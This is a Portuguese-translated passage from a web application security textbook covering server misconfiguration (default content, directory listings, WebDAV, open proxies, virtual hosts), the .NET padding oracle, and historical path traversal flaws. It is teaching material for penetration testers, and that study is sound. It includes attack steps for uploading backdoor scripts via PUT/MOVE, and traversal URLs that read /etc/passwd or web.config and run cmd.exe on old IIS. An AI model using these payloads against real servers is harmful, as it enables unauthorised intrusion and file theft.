Esse filtro foi projetado para bloquear o acesso à poderosa funcionalidade padrão dentro do banco de dados. Entretanto, a lista estava incompleta e não bloqueava o acesso a outros procedimentos padrão avançados pertencentes a contas de DBA, como `CTXSYS` e `MDSYS`. Outros problemas foram associados à Lista de Exclusão de PL/SQL, conforme descrito mais adiante neste capítulo.

Obviamente, o objetivo do gateway PL/SQL é hospedar pacotes e procedimentos específicos e, desde então, descobriu-se que muitos dos padrões contêm vulnerabilidades. Em 2009, os pacotes padrão que fazem parte do E-Business Suite mostraram conter várias vulnerabilidades, incluindo a capacidade de editar páginas arbitrárias. Os pesquisadores dão o exemplo do uso de `icx_define_pages.DispPageDialog` para injetar HTML na página de destino do administrador, executando um ataque de script entre sites armazenado:

```
/pls/dad/icx_define_pages.DispPageDialog?p_mode=RENAME&amp;p_page_id=[page_id]
```

ETAPAS DO HACK

1. Ferramentas como a Nikto são eficazes na localização de grande parte do conteúdo padrão da Web. Os exercícios de mapeamento de aplicativos descritos no Capítulo 4 devem ter identificado a maior parte do conteúdo padrão presente no servidor que você está procurando.
2. Use mecanismos de pesquisa e outros recursos para identificar o conteúdo e a funcionalidade padrão incluídos nas tecnologias que se sabe estarem em uso. Se for viável, faça uma instalação local dessas tecnologias e analise-as para verificar se há alguma funcionalidade padrão que possa ser aproveitada em seu ataque.

Listagens de diretórios

Quando um servidor da Web recebe uma solicitação para um diretório, em vez de um arquivo real, ele pode responder de uma das três maneiras:

- Ele pode retornar um recurso padrão dentro do diretório, como `index.html`.
- Ele pode retornar um erro, como o código de status HTTP 403, indicando que a solicitação não é permitida.
- Ele pode retornar uma listagem mostrando o conteúdo do diretório, como mostrado na Figura 18-6.

Figura 18-6: Uma listagem de diretórios

Em muitas situações, as listagens de diretórios não têm nenhuma relevância para a segurança. Por exemplo, a divulgação do índice de um diretório de imagens pode ser irrelevante. De fato, as listagens de diretórios geralmente são divulgadas intencionalmente porque fornecem um meio integrado de navegar em sites com conteúdo estático, como no exemplo ilustrado. No entanto, há dois motivos principais pelos quais a obtenção de listagens de diretórios pode ajudá-lo a atacar um aplicativo:

- Muitos aplicativos não impõem o controle de acesso adequado sobre sua funcionalidade e recursos e dependem da ignorância do invasor sobre os URLs usados para acessar itens confidenciais (consulte o Capítulo 8).
- Muitas vezes, arquivos e diretórios são deixados involuntariamente na raiz da Web dos servidores, como registros, arquivos de backup e versões antigas de scripts.

Em ambos os casos, a vulnerabilidade real está em outro lugar, na falha em controlar o acesso a dados confidenciais. Mas, como essas vulnerabilidades são extremamente comuns e os nomes dos recursos inseguros podem ser difíceis de adivinhar, a disponibilidade de listagens de diretórios geralmente é de grande valor para um invasor e pode levar rapidamente ao comprometimento total de um aplicativo.

ETAPAS DO HACK

Para cada diretório descoberto no servidor da Web durante o mapeamento do aplicativo, faça uma solicitação apenas para esse diretório e identifique os casos em que uma listagem de diretórios é retornada.

OBSERVAÇÃO Além do caso anterior, em que as listagens de diretórios estão diretamente disponíveis, foram descobertas vulnerabilidades no software de servidor da Web que podem ser exploradas para obter uma listagem de diretórios. Alguns exemplos dessas vulnerabilidades são descritos mais adiante neste capítulo.

Métodos WebDAV

WebDAV é um termo dado a uma coleção de métodos HTTP usados para criação e controle de versão distribuídos baseados na Web. Esses métodos estão amplamente disponíveis desde 1996. Eles foram adotados mais recentemente em aplicativos de colaboração e armazenamento em nuvem, em que os dados do usuário precisam ser acessados entre sistemas usando um protocolo compatível com o firewall, como o HTTP. Conforme descrito no Capítulo 3, as solicitações HTTP podem usar uma série de métodos além dos métodos padrão `GET` e `POST`. O WebDAV acrescenta vários outros que podem ser usados para manipular arquivos no servidor Web. Dada a natureza da funcionalidade, se esses métodos forem acessíveis a usuários com poucos privilégios, eles podem ser uma forma eficaz de atacar um aplicativo. Aqui estão alguns métodos a serem observados:

- `PUT` faz o upload do arquivo anexado para o local especificado.
- `DELETE` exclui o recurso especificado.
- `COPY` copia o recurso especificado para o local fornecido no `campo Destination` cabeçalho.
- `MOVE` move o recurso especificado para o local fornecido no `campo Destination` cabeçalho.
- `SEARCH` procura recursos em um caminho de diretório.
- `O PROPFIND` recupera informações sobre o recurso especificado, como autor, tamanho e tipo de conteúdo.

Você pode usar o método `OPTIONS` para listar os métodos HTTP permitidos em um determinado diretório:

```
OPTIONS /public/ HTTP/1.0
Host: mdsec.net

HTTP/1.1 200 OK
Conexão: fechada
Data: Sun, 10 Apr 2011 15:56:27 GMT
```

```
Servidor: Microsoft-IIS/6.0
MicrosoftOfficeWebServer: 5.0_Pub
X-Powered-By: ASP.NET
MS-Author-Via: MS-FP/4.0,DAV
Content-Length: 0
Accept-Ranges: none
DASL: <DAV:sql> DAV:
1, 2
Público: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIN
D, PROPPATCH, LOCK, UNLOCK, SEARCH
Permitir: OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK
Controle de cache: privado
```

Essa resposta indica que vários dos métodos avançados listados anteriormente são de fato permitidos. Entretanto, na prática, eles podem exigir autenticação ou estar sujeitos a outras restrições.

O método `PUT` é particularmente perigoso. Se você fizer upload de arquivos arbitrários na raiz da Web, o primeiro objetivo será criar um script de backdoor no servidor que será executado por um módulo no lado do servidor, dando ao invasor o controle total do aplicativo e, muitas vezes, do próprio servidor da Web. Se o método `PUT` parecer estar presente e ativado, você poderá verificar isso da seguinte forma:

```
PUT /public/test.txt HTTP/1.1
Host: mdsec.net
Content-Length: 4

test

HTTP/1.1 201 Criado
...
```

Observe que é provável que as permissões sejam implementadas por diretório, portanto, a verificação recursiva é necessária em um ataque. Ferramentas como o DAVTest, mostrado a seguir, podem ser usadas para verificar iterativamente todos os diretórios no servidor para o método `PUT` e determinar quais extensões de arquivo são permitidas. Para contornar as restrições ao uso do `PUT` para carregar scripts de backdoor, a ferramenta também tenta usar o `PUT` seguido pelo método `MOVE`:

```
C:\>perl davtest.pl -url http://mdsec.net/public -directory 1 -move -quiet
MOVIME   .asp     FALHA
NTO
MOVIME   .shtml   FALHA
NTO
MOVIME   .aspx    FALHA
NTO

Resumo do davtest.pl:
Criado em: http://mdsec.net/public/1
MOVE/PUT File: http://mdsec.net/public/1/davtest_UmtllhI8izy2.php MOVE/PUT
File: http://mdsec.net/public/1/davtest_UmtllhI8izy2.html MOVE/PUT File:
http://mdsec.net/public/1/davtest_UmtllhI8izy2.cgi MOVE/PUT File:
http://mdsec.net/public/1/davtest_UmtllhI8izy2.cfm
```

```
Arquivo MOVE/PUT: http://mdsec.net/public/1/davtest_UmtllhI8izy2.jsp
Arquivo MOVE/PUT: http://mdsec.net/public/1/davtest_UmtllhI8izy2.pl
Arquivo MOVE/PUT: http://mdsec.net/public/1/davtest_UmtllhI8izy2.txt
Arquivo MOVE/PUT: http://mdsec.net/public/1/davtest_UmtllhI8izy2.jhtml
Executa: http://mdsec.net/public/1/davtest_UmtllhI8izy2.html Executa:
http://mdsec.net/public/1/davtest_UmtllhI8izy2.txt
```

EXPERIMENTE!

http://mdsec.net/public/

DICA Nas instâncias do WebDAV em que os usuários finais têm permissão para fazer upload de arquivos, é relativamente comum que o upload de extensões de linguagem de script do lado do servidor específicas do ambiente do servidor seja proibido. A capacidade de carregar arquivos HTML ou JAR é muito mais provável, e ambos permitem a realização de ataques contra outros usuários (consulte os Capítulos 12 e 13).

ETAPAS DO HACK

Para testar o tratamento de diferentes métodos HTTP pelo servidor, você precisará usar uma ferramenta como o Burp Repeater, que permite enviar uma solicitação arbitrária com controle total sobre os cabeçalhos e o corpo da mensagem.

1. Use o método **OPTIONS** para listar os métodos HTTP que o servidor declara estarem disponíveis. Observe que métodos diferentes podem estar ativados em diretórios diferentes.
2. Em muitos casos, podem ser anunciados como disponíveis métodos que, na verdade, não podem ser usados. Às vezes, um método pode ser utilizável mesmo que não esteja listado na resposta à solicitação **OPTIONS**. Experimente cada método manualmente para confirmar se ele pode, de fato, ser usado.
3. Se você descobrir que alguns métodos WebDAV estão habilitados, geralmente é mais fácil usar um cliente habilitado para WebDAV para uma investigação mais aprofundada, como o Microsoft FrontPage ou a opção Abrir como pasta da Web no Internet Explorer.
   a. Tentativa de usar o método **PUT** para fazer upload de um arquivo benigno, como um arquivo de texto.
   b. Se isso for bem-sucedido, tente fazer o upload de um script de backdoor usando **PUT**.
   c. Se a extensão necessária para o funcionamento do backdoor estiver sendo bloqueada, tente carregar o arquivo com uma extensão **.txt** e usar o método **MOVE** para movê-lo para um arquivo com uma nova extensão.
   d. Se algum dos métodos anteriores falhar, tente fazer upload de um arquivo JAR ou de um arquivo com conteúdo que um navegador renderize como HTML.
   e. Percorra recursivamente todos os diretórios usando uma ferramenta como o davtest.pl.

O servidor de aplicativos como um proxy

Às vezes, os servidores da Web são configurados para atuar como servidores proxy HTTP diretos ou reversos (consulte o Capítulo 3). Se um servidor estiver configurado como proxy de encaminhamento, dependendo de sua configuração, pode ser possível aproveitar o servidor para realizar vários ataques:

- Um invasor pode usar o servidor para atacar sistemas de terceiros na Internet, com o tráfego malicioso aparentando para o alvo ser originário do servidor proxy vulnerável.
- Um invasor pode ser capaz de usar o proxy para se conectar a hosts arbitrários na rede interna da organização, atingindo assim alvos que não podem ser acessados diretamente da Internet.
- Um invasor pode usar o proxy para se conectar novamente a outros serviços executados no próprio host do proxy, contornando as restrições do firewall e explorando potencialmente as relações de confiança para contornar a autenticação.

Você pode usar duas técnicas principais para fazer com que um proxy de encaminhamento faça conexões de encaminhamento. Primeiro, você pode enviar uma solicitação HTTP contendo um URL completo, incluindo um nome de host e (opcionalmente) um número de porta:

```
GET http://wahh-otherapp.com:80/ HTTP/1.0

HTTP/1.1 200 OK
...
```

Se o servidor tiver sido configurado para encaminhar solicitações ao host especificado, ele retornará o conteúdo desse host. No entanto, certifique-se de verificar se o conteúdo retornado não é do servidor original. A maioria dos servidores da Web aceita solicitações que contêm URLs completos e muitos simplesmente ignoram a parte do host e retornam o recurso solicitado de dentro de sua própria raiz da Web.

A segunda maneira de aproveitar um proxy é usar o método `CONNECT` para especificar o nome do host de destino e o número da porta:

```
CONNECT wahh-otherapp.com:443 HTTP/1.0

HTTP/1.0 200 Conexão estabelecida
```

Se o servidor responder dessa forma, ele está fazendo proxy da sua conexão. Esse segundo A técnica de proxy é geralmente mais eficiente porque o servidor proxy agora simplesmente encaminha todo o tráfego enviado de e para o host especificado. Isso permite que você encapsule outros protocolos pela conexão e ataque serviços não baseados em HTTP. No entanto, a maioria dos servidores proxy impõe restrições restritas às portas que podem ser acessadas por meio do método `CONNECT` e geralmente permite apenas conexões à porta 443.

As técnicas disponíveis para explorar esse ataque estão descritas em Redirecionamento de HTTP do lado do servidor (Capítulo 10).

ETAPAS DO HACK

1. Usando solicitações **GET** e **CONNECT**, tente usar o servidor da Web como proxy para se conectar a outros servidores na Internet e recuperar o conteúdo deles.
2. Usando ambas as técnicas, tente se conectar a diferentes endereços IP e portas na infraestrutura de hospedagem.
3. Usando ambas as técnicas, tente se conectar a números de porta comuns no próprio servidor da Web especificando 127.0.0.1 como o host de destino na solicitação.

Hospedagem virtual mal configurada

O Capítulo 17 descreveu como os servidores da Web podem ser configurados para hospedar vários sites, com o cabeçalho HTTP `Host` sendo usado para identificar o site cujo conteúdo deve ser retornado. No Apache, os hosts virtuais são configurados da seguinte forma:

```
<VirtualHost *>
  ServerName eis
  DocumentRoot /var/www2
</VirtualHost>
```

Além da diretiva `DocumentRoot`, os contêineres de host virtual podem ser usados para especificar outras opções de configuração para o site em questão. Um erro comum de configuração é ignorar o host padrão para que qualquer configuração de segurança se aplique somente a um host virtual e possa ser ignorada quando o host padrão for acessado.

ETAPAS DO HACK

1. Envie solicitações **GET** para o diretório raiz usando o seguinte:
   - O cabeçalho **Host** correto.
   - Um cabeçalho de **host** arbitrário.
   - O endereço IP do servidor no cabeçalho **Host**.
   - Nenhum cabeçalho de **host**.
2. Compare as respostas a essas solicitações. Por exemplo, quando um endereço IP é usado no cabeçalho **Host**, o servidor pode simplesmente responder com uma listagem de diretórios. Você também pode descobrir que um conteúdo padrão diferente está acessível.
3. Se você observar um comportamento diferente, repita os exercícios de mapeamento de aplicativos usando o cabeçalho **do host** que gerou resultados diferentes. Certifique-se de realizar uma varredura Nikto usando a opção **-vhost** para identificar qualquer conteúdo padrão que possa ter sido ignorado durante o mapeamento inicial do aplicativo.

Proteção da configuração do servidor Web

Proteger a configuração de um servidor Web não é inerentemente difícil. Normalmente, os problemas surgem devido a um descuido ou à falta de conscientização. A tarefa mais importante é entender completamente a documentação do software que você está usando e todos os guias de proteção disponíveis em relação a ele.

Em termos de problemas genéricos de configuração a serem abordados, certifique-se de incluir todas as áreas a seguir:

- Altere todas as credenciais padrão, incluindo nomes de usuário e senhas, se possível. Remova todas as contas padrão que não sejam necessárias.
- Bloqueie o acesso público às interfaces administrativas, colocando ACLs nos caminhos relevantes dentro da raiz da Web ou bloqueando o acesso a portas não padrão.
- Remova todo o conteúdo e a funcionalidade padrão que não sejam estritamente necessários para fins comerciais. Navegue pelo conteúdo dos diretórios da Web para identificar quaisquer itens restantes e use ferramentas como o Nikto como uma verificação secundária.
- Se alguma funcionalidade padrão for mantida, reforce-a o máximo possível para desativar opções e comportamentos desnecessários.
- Verifique se há listagens de diretórios em todos os diretórios da Web. Sempre que possível, desative as listagens de diretórios em uma configuração de todo o servidor. Você também pode garantir que cada diretório contenha um arquivo como `index.html`, que o servidor está configurado para servir por padrão.
- Desativar todos os métodos que não sejam os usados pelo aplicativo (normalmente `GET` e `POST`).
- Certifique-se de que o servidor Web não esteja configurado para ser executado como proxy. Se essa funcionalidade for realmente necessária, reforce a configuração o máximo possível para permitir conexões somente aos hosts e portas específicos que devem ser acessados legitimamente. Você também pode implementar a filtragem da camada de rede como uma medida secundária para controlar as solicitações de saída originadas do servidor Web.
- Se o seu servidor da Web for compatível com hospedagem virtual, certifique-se de que qualquer restrição de segurança aplicada seja aplicada no host padrão. Realize os testes descritos anteriormente para verificar se esse é o caso.

Software de servidor vulnerável

Os produtos de servidor da Web variam de softwares extremamente simples e leves que fazem pouco mais do que servir páginas estáticas a plataformas de aplicativos altamente complexas que podem lidar com uma variedade de tarefas,

possivelmente fornecendo tudo, exceto a própria lógica de negócios. No último exemplo, é comum desenvolver com base no pressuposto de que

que essa estrutura é segura. Historicamente, o software de servidor da Web está sujeito a uma ampla gama de vulnerabilidades de segurança graves, que resultaram em execução arbitrária de código, divulgação de arquivos e escalonamento de privilégios. Com o passar dos anos, as principais plataformas de servidor da Web se tornaram cada vez mais robustas. Em muitos casos, a funcionalidade principal permaneceu estática ou até mesmo foi reduzida, pois os fornecedores diminuíram deliberadamente a superfície de ataque padrão. Mesmo que essas vulnerabilidades tenham diminuído, os princípios subjacentes continuam válidos. Na primeira edição deste livro, demos exemplos de onde o software de servidor é mais suscetível a vulnerabilidades. Desde a primeira edição, novas instâncias foram relatadas em cada categoria, geralmente em uma tecnologia paralela ou em um produto de servidor. Deixando de lado alguns dos servidores pessoais menores da Web e outros alvos menores, essas novas vulnerabilidades geralmente surgiram nos seguintes casos:

- Extensões do lado do servidor no IIS e no Apache.
- Servidores da Web mais novos, desenvolvidos desde o início para dar suporte a um aplicativo específico ou fornecidos como parte de um ambiente de desenvolvimento. É provável que eles tenham recebido menos atenção dos hackers no mundo real e sejam mais suscetíveis aos problemas descritos aqui.

Falhas na estrutura do aplicativo

As estruturas de aplicativos da Web têm sido objeto de vários defeitos graves ao longo dos anos. Descreveremos um exemplo recente de um exemplo genérico em uma estrutura que tornou vulneráveis muitos aplicativos executados nessa estrutura.

O oráculo de preenchimento do .NET

Uma das divulgações mais famosas dos últimos anos é a exploração do "padding oracle" no .NET. O .NET usa o padding PKCS #5 em uma cifra de bloco CBC, que funciona da seguinte forma.

Uma cifra de bloco opera em um tamanho de bloco fixo, que no .NET é geralmente de 8 ou 16 bytes. O .NET usa o padrão PKCS #5 para adicionar bytes de preenchimento a cada string de texto simples, garantindo que o comprimento da string de texto simples resultante seja divisível pelo tamanho do bloco. Em vez de preencher a mensagem com um valor arbitrário, o valor selecionado para preenchimento é o número de bytes de preenchimento que está sendo usado. Cada cadeia de caracteres é preenchida, portanto, se a cadeia de caracteres inicial for um múltiplo do tamanho do bloco, será adicionado um bloco completo de preenchimento. Portanto, em um tamanho de bloco de 8, uma mensagem deve ser preenchida com um byte 0x01, dois bytes 0x02 ou qualquer uma das combinações intermediárias até oito bytes 0x08. O texto sem formatação da primeira mensagem é então XORed com um bloco de mensagens predefinido chamado de vetor de inicialização (IV). (Lembre-se dos problemas de identificação de padrões no texto cifrado discutidos no Capítulo 7). Conforme

descrito no Capítulo 7, a segunda mensagem é então XORed com o texto cifrado da primeira mensagem, iniciando a cadeia de blocos cíclicos.

O processo completo de criptografia .NET é o seguinte:

1. Pegue uma mensagem de texto simples.
2. Preencher a mensagem, usando o número necessário de bytes de preenchimento como o valor do byte de preenchimento.
3. XOR o primeiro bloco de texto simples com o vetor de inicialização.
4. Criptografe o valor XORed da etapa 3 usando Triple-DES.

A partir daí, as etapas de criptografia do restante da mensagem são recursivas (esse é o processo de encadeamento de blocos de cifras (CBC) descrito no Capítulo 7):

5. XOR o segundo bloco de texto simples com o bloco anterior criptografado.
6. Criptografe o valor XORed usando Triple-DES.

O Oráculo do Preenchimento

As versões vulneráveis do .NET até setembro de 2010 continham uma falha aparentemente pequena na divulgação de informações. Se fosse encontrado um preenchimento incorreto na mensagem, o aplicativo relataria um erro, resultando em um código de resposta HTTP 500 para o usuário. Usando os comportamentos do algoritmo de preenchimento PKCS #5 e do CBC juntos, todo o mecanismo de segurança do .NET poderia ser comprometido. Veja como.

Observe que, para serem válidas, todas as cadeias de texto simples devem incluir pelo menos um byte de preenchimento. Além disso, observe que o primeiro bloco de texto cifrado que você vê é o vetor de inicialização, que não serve para nada além de fazer XOR com o valor de texto simples do primeiro bloco criptografado da mensagem. Para o ataque, o invasor fornece uma string contendo apenas os dois primeiros blocos de texto cifrado para o aplicativo. Esses dois blocos são o IV, seguido pelo primeiro bloco de texto cifrado. O invasor fornece um IV contendo apenas zeros e, em seguida, faz uma série de solicitações, incrementando sequencialmente o último byte do IV. Esse último byte é XORed com o último byte no texto cifrado e, a menos que o valor resultante desse último byte seja 0x01, o algoritmo criptográfico gera um erro! (Lembre-se de que o valor do texto não criptografado de qualquer cadeia de caracteres deve terminar em um ou mais valores de preenchimento. Como nenhum outro preenchimento está presente no primeiro bloco de texto cifrado, o último valor deve ser descriptografado como 0x01).

Um invasor pode aproveitar essa condição de erro: eventualmente, ele atingirá o valor que, quando XORED com o último byte do bloco de texto cifrado, resulta em 0x01. Nesse ponto, o valor de texto claro do último byte `y` pode ser determinado, porque:

```
x XOR y = 0x01
```

portanto, acabamos de determinar o valor de `x`.

O mesmo processo funciona no penúltimo byte do texto cifrado. Dessa vez, o atacante (sabendo o valor de y) escolhe o valor de x para o qual o último byte será descriptografado como 0x02. Em seguida, ele executa o mesmo processo incremental no penúltimo caractere do vetor de inicialização, recebendo `500`

`Internal Server Error` até que o penúltimo byte descriptografado seja 0x02. Nesse ponto, dois bytes 0x02 estão no final da mensagem, o que equivale a um preenchimento válido, e nenhum erro é retornado. Esse processo pode ser aplicado recursivamente em todos os bits do bloco de destino e, em seguida, no bloco de texto cifrado seguinte, em todos os blocos da mensagem.

Dessa forma, um invasor pode descriptografar a mensagem inteira. É interessante notar que o mesmo mecanismo permite que o invasor criptografe uma mensagem. Depois de recuperar uma string de texto simples, você pode modificar o IV para produzir a string de texto simples de sua escolha. Um dos melhores alvos é o `ScriptResource.axd`. O argumento `d` do `ScriptResource` é um nome de arquivo criptografado. Um invasor que escolhe um nome de arquivo `web.config` recebe o arquivo real, pois o ASP.NET ignora as restrições normais impostas pelo IIS ao servir o arquivo. Por exemplo:

```
https://mdsec.net/ScriptResource.axd?d=SbXSD3uTnhYsK4gMD8fL84_mHPC5jJ7lf
dnr1_WtsftZiUOZ6IXYG8QCXW86UizF0&t=632768953157700078
```

OBSERVAÇÃO Esse ataque se aplica de forma mais geral a qualquer cifra CBC que use o preenchimento PKCS #5. Ele foi discutido originalmente em 2002, embora o .NET seja o principal alvo, pois usa esse tipo de preenchimento para tokens de sessão, ViewState e **`ScriptResource.axd`**. O documento original pode ser encontrado em **`www.iacr.org/archive/eurocrypt2002/23320530/cbc02_e02d.pdf`**.

AVISO "Nunca desenvolva seus próprios algoritmos criptográficos" é frequentemente um comentário descartável baseado na sabedoria recebida. No entanto, o ataque de bit flipping descrito no Capítulo 7 e o ataque padding oracle que acabamos de mencionar mostram como anomalias aparentemente pequenas podem ser exploradas de forma prática para produzir resultados catastróficos. Portanto, nunca crie seus próprios algoritmos criptográficos.

EXPERIMENTE!

`http://mdsec.net/private/`

Vulnerabilidades de gerenciamento de memória

Os estouros de buffer estão entre as falhas mais graves que podem afetar qualquer tipo de software, pois normalmente permitem que um invasor assuma o controle da execução no processo vulnerável (consulte o Capítulo 16). A execução arbitrária de código em um servidor Web geralmente permite que o invasor comprometa qualquer aplicativo que esteja hospedando. As seções a seguir apresentam uma pequena amostra de estouro de buffer de servidor da Web. Elas ilustram a abrangência dessa falha, que surgiu em uma ampla gama de produtos e componentes de servidores da Web.

Ponteiro oscilante do Apache mod_isapi

Em 2010, foi encontrada uma falha na qual o mod_isapi do Apache poderia ser forçado a ser descarregado da memória ao encontrar erros. Os ponteiros de função correspondentes permanecem na memória e podem ser chamados quando as funções ISAPI correspondentes são referenciadas, acessando partes arbitrárias da memória.

Para obter mais informações sobre essa falha, consulte `www.senseofsecurity.com.au/ advisories/SOS-10-002`.

Extensões ISAPI do Microsoft IIS

As versões 4 e 5 do Microsoft IIS continham uma série de extensões ISAPI que eram ativadas por padrão. Descobriu-se que várias delas continham estouro de buffer, como a extensão Internet Printing Protocol e a extensão Index Server, ambas descobertas em 2001. Essas falhas permitiam que um invasor executasse códigos arbitrários no contexto do sistema local, comprometendo totalmente o computador inteiro. Essas falhas também permitiram que os worms Nimda e Code Red se propagassem e começassem a circular. Os boletins do Microsoft TechNet a seguir detalham essas falhas:

- `www.microsoft.com/technet/security/bulletin/MS01-023.mspx`
- `www.microsoft.com/technet/security/bulletin/MS01-033.mspx`

Sete anos depois

Uma outra falha foi encontrada no serviço IPP em 2008. Dessa vez, a maioria das versões implantadas do IIS no Windows 2003 e 2008 não ficou imediatamente vulnerável porque a extensão está desativada por padrão. O aviso publicado pela Microsoft pode ser encontrado em `www.microsoft.com/technet/security/bulletin/ ms08-062.mspx`.

Estouro de codificação em pedaços do Apache

Um estouro de buffer resultante de um erro de assinatura de inteiro foi descoberto no servidor da Web Apache em 2002. O código afetado foi reutilizado em vários outros produtos de servidor da Web, que também foram afetados. Para obter mais detalhes, consulte `www.securityfocus.com/bid/5033/discuss`.

Oito anos depois

Em 2010, foi encontrado um estouro de inteiro no `mod_proxy` do Apache ao lidar com a codificação em pedaços nas respostas HTTP. Um registro dessa vulnerabilidade pode ser encontrado em www.securityfocus.com/bid/37966.

Transbordamentos de WebDAV

Um estouro de buffer em um componente central do sistema operacional Windows foi descoberto em 2003. Essa falha poderia ser explorada por meio de vários vetores de ataque, sendo que o mais significativo para muitos clientes era o suporte a WebDAV incorporado ao IIS 5. A vulnerabilidade estava sendo ativamente explorada na natureza no momento em que uma correção foi produzida. Essa vulnerabilidade está detalhada em `www.microsoft.com/technet/security/bulletin/MS03-007.mspx`.

Sete anos depois

A implementação do WebDAV introduziu vulnerabilidades em uma série de servidores da Web.

Em 2010, foi descoberto que um caminho excessivamente longo em uma solicitação `OPTIONS` causava um estouro no Java System Web Server da Sun. Você pode ler mais sobre isso em www.exploit-db.com/exploits/14287/.

Um outro problema de estouro de buffer de 2009 foi relatado no `mod_dav` do Apache extensão. Mais detalhes podem ser encontrados em `http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1452`.

Codificação e canonização

Conforme descrito no Capítulo 3, existem vários esquemas que permitem que caracteres especiais e conteúdo sejam codificados para transmissão segura por HTTP. Você já viu, no contexto de vários tipos de vulnerabilidades de aplicativos da Web, como um invasor pode aproveitar esses esquemas para evitar verificações de validação de entrada e realizar outros ataques.

As falhas de codificação surgiram em muitos tipos de software de servidor de aplicativos. Elas representam uma ameaça inerente em situações em que os mesmos dados fornecidos pelo usuário são processados por várias camadas usando tecnologias diferentes. Uma solicitação típica da Web pode ser tratada pelo servidor da Web, pela plataforma de aplicativos, por várias APIs gerenciadas e não gerenciadas, por outros componentes de software e pelo sistema operacional subjacente. Se componentes diferentes lidarem com um esquema de codificação de maneiras diferentes ou realizarem decodificação ou interpretação adicional de dados que já foram parcialmente processados, esse fato poderá ser explorado com frequência para contornar filtros ou causar outro comportamento anômalo.

A passagem de caminho é uma das vulnerabilidades mais comuns que podem ser exploradas por meio de uma falha de canonização porque sempre envolve comunicação com o sistema operacional. O Capítulo 10 descreve como as vulnerabilidades de path traversal podem surgir em aplicativos da Web. Os mesmos tipos de problemas também surgiram em vários tipos de software de servidor da Web, permitindo que um invasor leia ou grave arquivos arbitrários fora da raiz da Web.

Passagem de caminho do servidor Apple iDisk

O Apple iDisk Server é um serviço popular de armazenamento sincronizado em nuvem. Em 2009, Jeremy Richards descobriu que ele era vulnerável à passagem de diretório. Um usuário do iDisk tem uma estrutura de diretório que inclui um diretório público, cujo conteúdo é propositalmente acessível a usuários da Internet não autenticados. Richards descobriu que um conteúdo arbitrário poderia ser recuperado das seções privadas do iDisk de um usuário usando caracteres Unicode que atravessam o diretório público para acessar um arquivo privado:

```
http://idisk.mac.com/Jeremy.richards-Public/%2E%2E%2FPRIVATE.txt?disposition=
download+8300
```

Um bônus adicional foi que uma solicitação WebDAV `PROPFIND` poderia ser emitida primeiro para listar o conteúdo do iDisk:

```
POST /Jeremy.richards-Public/<strong>%2E%2E%2F/<strong>?webdav-method= PROPFIND
...
```

Servidor Web Ruby WEBrick

O WEBrick é um servidor da Web fornecido como parte do Ruby. Descobriu-se que ele é vulnerável a uma falha de passagem simples dessa forma:

```
http://[servidor]:[porta]/..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/boot.ini
```

Para obter mais informações sobre essa falha, consulte www.securityfocus.com/bid/28123.

Travessia de diretório do servidor web Java

Essa falha de passagem de caminho explorava o fato de que a JVM não decodificava UTF-8. Os servidores da Web escritos em Java e usando versões vulneráveis da JVM incluíam o Tomcat, e conteúdo arbitrário poderia ser recuperado usando sequências `../` codificadas em UTF-8:

```
http://www.target.com/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd
```

Para obter mais informações sobre essa falha, consulte `http://tomcat.apache.org/security-6.html`.

Vulnerabilidade de listagem de diretórios do Allaire JRun

Em 2001, foi encontrada uma vulnerabilidade no Allaire JRun que permitia a um invasor recuperar listagens de diretórios, mesmo em diretórios que continham um arquivo padrão, como `index.html`. Uma listagem poderia ser recuperada usando URLs da seguinte forma:

```
https://wahh-app.com/dir/%3f.jsp
```

`%3f` é um ponto de interrogação codificado por URL, que normalmente é usado para indicar o início da string de consulta. O problema surgiu porque o analisador de URL inicial não interpretou o `%3f` como sendo o indicador da string de consulta. Ao tratar o URL como terminado em `.jsp`, o servidor passou a solicitação para o componente que lida com solicitações de arquivos JSP. Esse componente decodificou o `%3f`, interpretou-o como o início da string de consulta, descobriu que o URL de base resultante não era um arquivo JSP e retornou a listagem do diretório. Mais detalhes podem ser encontrados em www.securityfocus.com/bid/3592.

Oito anos depois

Em 2009, uma vulnerabilidade semelhante e de risco muito menor foi anunciada no Jetty, relacionada à passagem de diretórios em situações em que o nome de um diretório terminava em um ponto de interrogação. A solução foi codificar o `?` como `%3f`. Os detalhes podem ser encontrados em https://www.kb.cert.org/vuls/id/402580.

Vulnerabilidades de passagem de caminho Unicode do Microsoft IIS

Duas vulnerabilidades relacionadas foram identificadas no servidor Microsoft IIS em 2000 e 2001. Para evitar ataques de path traversal, o IIS verificava se havia solicitações que contivessem a sequência ponto-ponto-barra em suas formas literal e codificada por URL. Se uma solicitação não contivesse essas expressões, ela era aceita para processamento posterior. No entanto, o servidor executava alguma canonização adicional no URL solicitado, permitindo que um invasor contornasse o filtro e fizesse com que o servidor processasse as sequências transversais.

Na primeira vulnerabilidade, um invasor poderia fornecer várias formas ilegais codificadas em Unicode da sequência ponto-ponto-barra, como `..%c0%af`. Essa expressão não correspondia aos filtros iniciais do IIS, mas o processamento posterior tolerava a codificação ilegal e a convertia novamente em uma sequência de travessia literal. Isso permitiu que um invasor saísse da raiz da Web e executasse comandos arbitrários com URLs como os seguintes:

```
https://wahh-app.com/scripts/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../
winnt/system32/cmd.exe?/c+dir+c:\
```

Na segunda vulnerabilidade, um invasor poderia fornecer formas duplamente codificadas da sequência ponto-ponto-barra, como `..%255c`. Novamente, essa expressão não correspondia aos filtros do IIS, mas o processamento posterior executava uma decodificação supérflua da entrada, convertendo-a novamente em uma sequência de travessia literal. Isso possibilitou um ataque alternativo com URLs como as seguintes:

```
https://wahh-app.com/scripts/..%255c..%255c..%255c..%255c..%255c..
%255cwinnt/system32/cmd.exe?/c+dir+c:\
```

Mais detalhes sobre essas vulnerabilidades podem ser encontrados aqui:

- www.microsoft.com/technet/security/bulletin/MS00-078.mspx
- www.microsoft.com/technet/security/bulletin/MS01-026.mspx

Nove anos depois

